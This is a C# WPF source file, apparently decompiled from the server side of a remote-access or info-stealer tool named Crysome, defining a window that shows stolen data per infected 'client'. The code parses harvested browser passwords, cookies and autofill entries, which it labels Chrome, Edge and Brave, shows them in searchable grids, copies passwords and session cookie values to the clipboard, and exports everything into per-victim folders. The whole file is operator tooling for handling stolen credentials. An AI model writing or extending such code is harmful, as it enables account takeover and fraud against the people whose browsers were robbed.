Files

672 lines
18 KiB
C#
Raw Permalink Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.Json;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using Wpf.Ui.Controls;
namespace Crysome.Server.View;
public class CredentialsViewerWindow : FluentWindow, IComponentConnector
{
public class PasswordEntry
{
public string Browser { get; set; }
public string Url { get; set; }
public string Username { get; set; }
public string Password { get; set; }
}
public class CookieEntry
{
public string Browser { get; set; }
public string Host { get; set; }
public string Name { get; set; }
public string Value { get; set; }
public string Path { get; set; }
public string Expires { get; set; }
}
public class AutofillEntry
{
public string Browser { get; set; }
public string Name { get; set; }
public string Value { get; set; }
}
private readonly string _passwordsJson;
private readonly string _cookiesJson;
private readonly string _autofillsJson;
private readonly string _clientDisplayName;
private List<PasswordEntry> _allPasswords = new List<PasswordEntry>();
private List<CookieEntry> _allCookies = new List<CookieEntry>();
private List<AutofillEntry> _allAutofills = new List<AutofillEntry>();
internal TextBlock TitleText;
internal TextBox SearchBox;
internal Button ExportBtn;
internal Button CloseBtn;
internal TabControl MainTabs;
internal DataGrid PasswordsGrid;
internal DataGrid CookiesGrid;
internal DataGrid AutofillsGrid;
internal TextBlock StatusText;
private bool _contentLoaded;
public CredentialsViewerWindow(string title, string passwordsJson, string cookiesJson, string autofillsJson = null, string errorMessage = null)
{
InitializeComponent();
_passwordsJson = passwordsJson ?? "";
_cookiesJson = cookiesJson ?? "";
_autofillsJson = autofillsJson ?? "";
((Window)this).Title = title ?? "Credentials";
TitleText.Text = title ?? "Credentials";
_clientDisplayName = SanitizeFolderName(ExtractClientName(title));
if (!string.IsNullOrEmpty(errorMessage))
{
StatusText.Text = "Error: " + errorMessage;
}
LoadPasswords();
}
private void LoadPasswords()
{
_allPasswords = ParsePasswordsJson(_passwordsJson);
PasswordsGrid.ItemsSource = ((_allPasswords.Count > 0) ? _allPasswords : new List<PasswordEntry>
{
new PasswordEntry
{
Browser = "",
Url = "(empty)",
Username = "",
Password = ""
}
});
UpdateStatus();
}
private void LoadCookies()
{
if (_allCookies.Count == 0 || CookiesGrid.ItemsSource == null)
{
_allCookies = ParseCookiesJson(_cookiesJson);
CookiesGrid.ItemsSource = ((_allCookies.Count > 0) ? _allCookies : new List<CookieEntry>
{
new CookieEntry
{
Browser = "",
Host = "(empty)",
Name = "",
Value = "",
Path = "",
Expires = ""
}
});
UpdateStatus();
}
}
private void LoadAutofills()
{
if (_allAutofills.Count == 0 || AutofillsGrid.ItemsSource == null)
{
_allAutofills = ParseAutofillsJson(_autofillsJson);
AutofillsGrid.ItemsSource = ((_allAutofills.Count > 0) ? _allAutofills : new List<AutofillEntry>
{
new AutofillEntry
{
Browser = "",
Name = "(empty)",
Value = ""
}
});
UpdateStatus();
}
}
private void UpdateStatus()
{
int count = _allPasswords.Count;
int count2 = _allCookies.Count;
int count3 = _allAutofills.Count;
StatusText.Text = $"Passwords: {count} | Cookies: {count2} | Autofills: {count3}";
}
private static string SafeGetString(JsonElement el, params string[] propertyNames)
{
foreach (string propertyName in propertyNames)
{
if (el.TryGetProperty(propertyName, out var value) && value.ValueKind != JsonValueKind.Null && value.ValueKind != JsonValueKind.Undefined)
{
return value.ToString() ?? "";
}
}
return "";
}
private static List<PasswordEntry> ParsePasswordsJson(string json)
{
List<PasswordEntry> list = new List<PasswordEntry>();
if (string.IsNullOrWhiteSpace(json))
{
return list;
}
try
{
string text = json.Trim();
if (text.StartsWith("["))
{
using JsonDocument jsonDocument = JsonDocument.Parse(text);
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
{
PasswordEntry passwordEntry = new PasswordEntry();
passwordEntry.Url = SafeGetString(item, "origin_url", "action_url", "url", "origin");
passwordEntry.Username = SafeGetString(item, "username_value", "username");
passwordEntry.Password = SafeGetString(item, "password_value", "password");
passwordEntry.Browser = SafeGetString(item, "browser", "browser_name");
if (string.IsNullOrEmpty(passwordEntry.Browser))
{
passwordEntry.Browser = DetectBrowserFromUrl(passwordEntry.Url);
}
if (!string.IsNullOrWhiteSpace(passwordEntry.Username) || !string.IsNullOrWhiteSpace(passwordEntry.Password))
{
list.Add(passwordEntry);
}
}
if (list.Count > 0)
{
return list;
}
}
}
catch
{
}
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = 0; i < array.Length; i++)
{
string text2 = array[i].Trim();
if (!text2.StartsWith("["))
{
continue;
}
try
{
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
{
PasswordEntry passwordEntry2 = new PasswordEntry();
passwordEntry2.Url = SafeGetString(item2, "origin_url", "action_url", "url", "origin");
passwordEntry2.Username = SafeGetString(item2, "username_value", "username");
passwordEntry2.Password = SafeGetString(item2, "password_value", "password");
passwordEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
if (string.IsNullOrEmpty(passwordEntry2.Browser))
{
passwordEntry2.Browser = DetectBrowserFromUrl(passwordEntry2.Url);
}
if (!string.IsNullOrWhiteSpace(passwordEntry2.Username) || !string.IsNullOrWhiteSpace(passwordEntry2.Password))
{
list.Add(passwordEntry2);
}
}
}
catch
{
}
}
return list;
}
private static string DetectBrowserFromUrl(string url)
{
if (string.IsNullOrEmpty(url))
{
return "";
}
if (url.Contains("chrome"))
{
return "Chrome";
}
if (url.Contains("edge"))
{
return "Edge";
}
if (url.Contains("brave"))
{
return "Brave";
}
return "";
}
private static List<CookieEntry> ParseCookiesJson(string json)
{
List<CookieEntry> list = new List<CookieEntry>();
if (string.IsNullOrWhiteSpace(json))
{
return list;
}
try
{
string text = json.Trim();
if (text.StartsWith("["))
{
using (JsonDocument jsonDocument = JsonDocument.Parse(text))
{
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
{
CookieEntry cookieEntry = new CookieEntry();
cookieEntry.Host = SafeGetString(item, "host_key", "host", "domain");
cookieEntry.Name = SafeGetString(item, "name");
cookieEntry.Value = SafeGetString(item, "value");
if (string.IsNullOrEmpty(cookieEntry.Value) && item.TryGetProperty("encrypted_value", out var value) && value.ValueKind != JsonValueKind.Null)
{
cookieEntry.Value = "[encrypted]";
}
cookieEntry.Path = SafeGetString(item, "path");
cookieEntry.Expires = SafeGetString(item, "expires_utc", "expires", "expirationDate");
cookieEntry.Browser = SafeGetString(item, "browser", "browser_name");
if (string.IsNullOrEmpty(cookieEntry.Browser))
{
cookieEntry.Browser = DetectBrowserFromHost(cookieEntry.Host);
}
if (!string.IsNullOrWhiteSpace(cookieEntry.Name) || !string.IsNullOrWhiteSpace(cookieEntry.Host))
{
list.Add(cookieEntry);
}
}
return list;
}
}
}
catch
{
}
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = 0; i < array.Length; i++)
{
string text2 = array[i].Trim();
if (!text2.StartsWith("["))
{
continue;
}
try
{
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
{
CookieEntry cookieEntry2 = new CookieEntry();
cookieEntry2.Host = SafeGetString(item2, "host_key", "host", "domain");
cookieEntry2.Name = SafeGetString(item2, "name");
cookieEntry2.Value = SafeGetString(item2, "value");
if (string.IsNullOrEmpty(cookieEntry2.Value) && item2.TryGetProperty("encrypted_value", out var value2) && value2.ValueKind != JsonValueKind.Null)
{
cookieEntry2.Value = "[encrypted]";
}
cookieEntry2.Path = SafeGetString(item2, "path");
cookieEntry2.Expires = SafeGetString(item2, "expires_utc", "expires", "expirationDate");
cookieEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
if (string.IsNullOrEmpty(cookieEntry2.Browser))
{
cookieEntry2.Browser = DetectBrowserFromHost(cookieEntry2.Host);
}
if (!string.IsNullOrWhiteSpace(cookieEntry2.Name) || !string.IsNullOrWhiteSpace(cookieEntry2.Host))
{
list.Add(cookieEntry2);
}
}
}
catch
{
}
}
return list;
}
private static string DetectBrowserFromHost(string host)
{
string.IsNullOrEmpty(host);
return "";
}
private static List<AutofillEntry> ParseAutofillsJson(string json)
{
List<AutofillEntry> list = new List<AutofillEntry>();
if (string.IsNullOrWhiteSpace(json))
{
return list;
}
try
{
string text = json.Trim();
if (text.StartsWith("["))
{
using JsonDocument jsonDocument = JsonDocument.Parse(text);
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
{
AutofillEntry autofillEntry = new AutofillEntry();
autofillEntry.Browser = SafeGetString(item, "browser", "browser_name");
autofillEntry.Name = SafeGetString(item, "name");
autofillEntry.Value = SafeGetString(item, "value");
list.Add(autofillEntry);
}
if (list.Count > 0)
{
return list;
}
}
}
catch
{
}
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
for (int i = 0; i < array.Length; i++)
{
string text2 = array[i].Trim();
if (!text2.StartsWith("["))
{
continue;
}
try
{
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
{
AutofillEntry autofillEntry2 = new AutofillEntry();
autofillEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
autofillEntry2.Name = SafeGetString(item2, "name");
autofillEntry2.Value = SafeGetString(item2, "value");
list.Add(autofillEntry2);
}
}
catch
{
}
}
return list;
}
private void SearchBox_TextChanged(object sender, TextChangedEventArgs e)
{
string q = (SearchBox.Text ?? "").ToLowerInvariant().Trim();
if (MainTabs.SelectedIndex == 0)
{
PasswordsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allPasswords : _allPasswords.Where((PasswordEntry p) => Contains(p.Url, q) || Contains(p.Username, q) || Contains(p.Browser, q) || Contains(p.Password, q)).ToList());
}
else if (MainTabs.SelectedIndex == 1)
{
CookiesGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allCookies : _allCookies.Where((CookieEntry c) => Contains(c.Host, q) || Contains(c.Name, q) || Contains(c.Value, q) || Contains(c.Browser, q)).ToList());
}
else if (MainTabs.SelectedIndex == 2)
{
AutofillsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allAutofills : _allAutofills.Where((AutofillEntry a) => Contains(a.Name, q) || Contains(a.Value, q) || Contains(a.Browser, q)).ToList());
}
}
private static bool Contains(string s, string q)
{
if (!string.IsNullOrEmpty(s))
{
return s.ToLowerInvariant().Contains(q);
}
return false;
}
private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (SearchBox != null)
{
SearchBox.Text = "";
}
TabControl mainTabs = MainTabs;
if (mainTabs != null && mainTabs.SelectedIndex == 1)
{
LoadCookies();
}
TabControl mainTabs2 = MainTabs;
if (mainTabs2 != null && mainTabs2.SelectedIndex == 2)
{
LoadAutofills();
}
}
private void CopyPassword_Click(object sender, RoutedEventArgs e)
{
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
{
SafeCopy(passwordEntry.Password);
}
}
private void CopyUsername_Click(object sender, RoutedEventArgs e)
{
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
{
SafeCopy(passwordEntry.Username);
}
}
private void CopyRow_Click(object sender, RoutedEventArgs e)
{
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
{
SafeCopy($"{passwordEntry.Browser}\t{passwordEntry.Url}\t{passwordEntry.Username}\t{passwordEntry.Password}");
}
}
private void CopyCookieValue_Click(object sender, RoutedEventArgs e)
{
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
{
SafeCopy(cookieEntry.Value);
}
}
private void CopyCookieName_Click(object sender, RoutedEventArgs e)
{
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
{
SafeCopy(cookieEntry.Name);
}
}
private void CopyCookieRow_Click(object sender, RoutedEventArgs e)
{
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
{
SafeCopy($"{cookieEntry.Browser}\t{cookieEntry.Host}\t{cookieEntry.Name}\t{cookieEntry.Value}");
}
}
private static void SafeCopy(string text)
{
try
{
Clipboard.SetText(text ?? "");
}
catch
{
}
}
private void ExportBtn_Click(object sender, RoutedEventArgs e)
{
try
{
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Exports", _clientDisplayName);
Directory.CreateDirectory(text);
if (!string.IsNullOrWhiteSpace(_passwordsJson))
{
File.WriteAllText(Path.Combine(text, "passwords.json"), _passwordsJson, Encoding.UTF8);
}
if (!string.IsNullOrWhiteSpace(_cookiesJson))
{
File.WriteAllText(Path.Combine(text, "cookies.json"), _cookiesJson, Encoding.UTF8);
}
if (!string.IsNullOrWhiteSpace(_autofillsJson))
{
File.WriteAllText(Path.Combine(text, "autofills.json"), _autofillsJson, Encoding.UTF8);
}
StatusText.Text = "Exported to " + text;
}
catch (Exception ex)
{
StatusText.Text = "Export failed: " + ex.Message;
}
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).Close();
}
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
{
try
{
((Window)this).DragMove();
}
catch
{
}
}
private static string ExtractClientName(string title)
{
if (string.IsNullOrEmpty(title))
{
return "Unknown";
}
int num = title.IndexOf(" — ", StringComparison.Ordinal);
if (num < 0)
{
return title;
}
return title.Substring(num + 3).Trim();
}
private static string SanitizeFolderName(string name)
{
if (string.IsNullOrEmpty(name))
{
return "Unknown";
}
char[] invalid = Path.GetInvalidFileNameChars();
return string.Concat(name.Where((char c) => !Enumerable.Contains(invalid, c)));
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/credentialsviewerwindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
//IL_0098: Unknown result type (might be due to invalid IL or missing references)
//IL_00a2: Expected O, but got Unknown
//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
//IL_00c6: Expected O, but got Unknown
switch (connectionId)
{
case 1:
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
break;
case 2:
TitleText = (TextBlock)target;
break;
case 3:
SearchBox = (TextBox)target;
SearchBox.TextChanged += SearchBox_TextChanged;
break;
case 4:
ExportBtn = (Button)target;
((ButtonBase)(object)ExportBtn).Click += ExportBtn_Click;
break;
case 5:
CloseBtn = (Button)target;
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
break;
case 6:
MainTabs = (TabControl)target;
MainTabs.SelectionChanged += MainTabs_SelectionChanged;
break;
case 7:
PasswordsGrid = (DataGrid)target;
break;
case 8:
((MenuItem)target).Click += CopyPassword_Click;
break;
case 9:
((MenuItem)target).Click += CopyUsername_Click;
break;
case 10:
((MenuItem)target).Click += CopyRow_Click;
break;
case 11:
CookiesGrid = (DataGrid)target;
break;
case 12:
((MenuItem)target).Click += CopyCookieValue_Click;
break;
case 13:
((MenuItem)target).Click += CopyCookieName_Click;
break;
case 14:
((MenuItem)target).Click += CopyCookieRow_Click;
break;
case 15:
AutofillsGrid = (DataGrid)target;
break;
case 16:
StatusText = (TextBlock)target;
break;
default:
_contentLoaded = true;
break;
}
}
}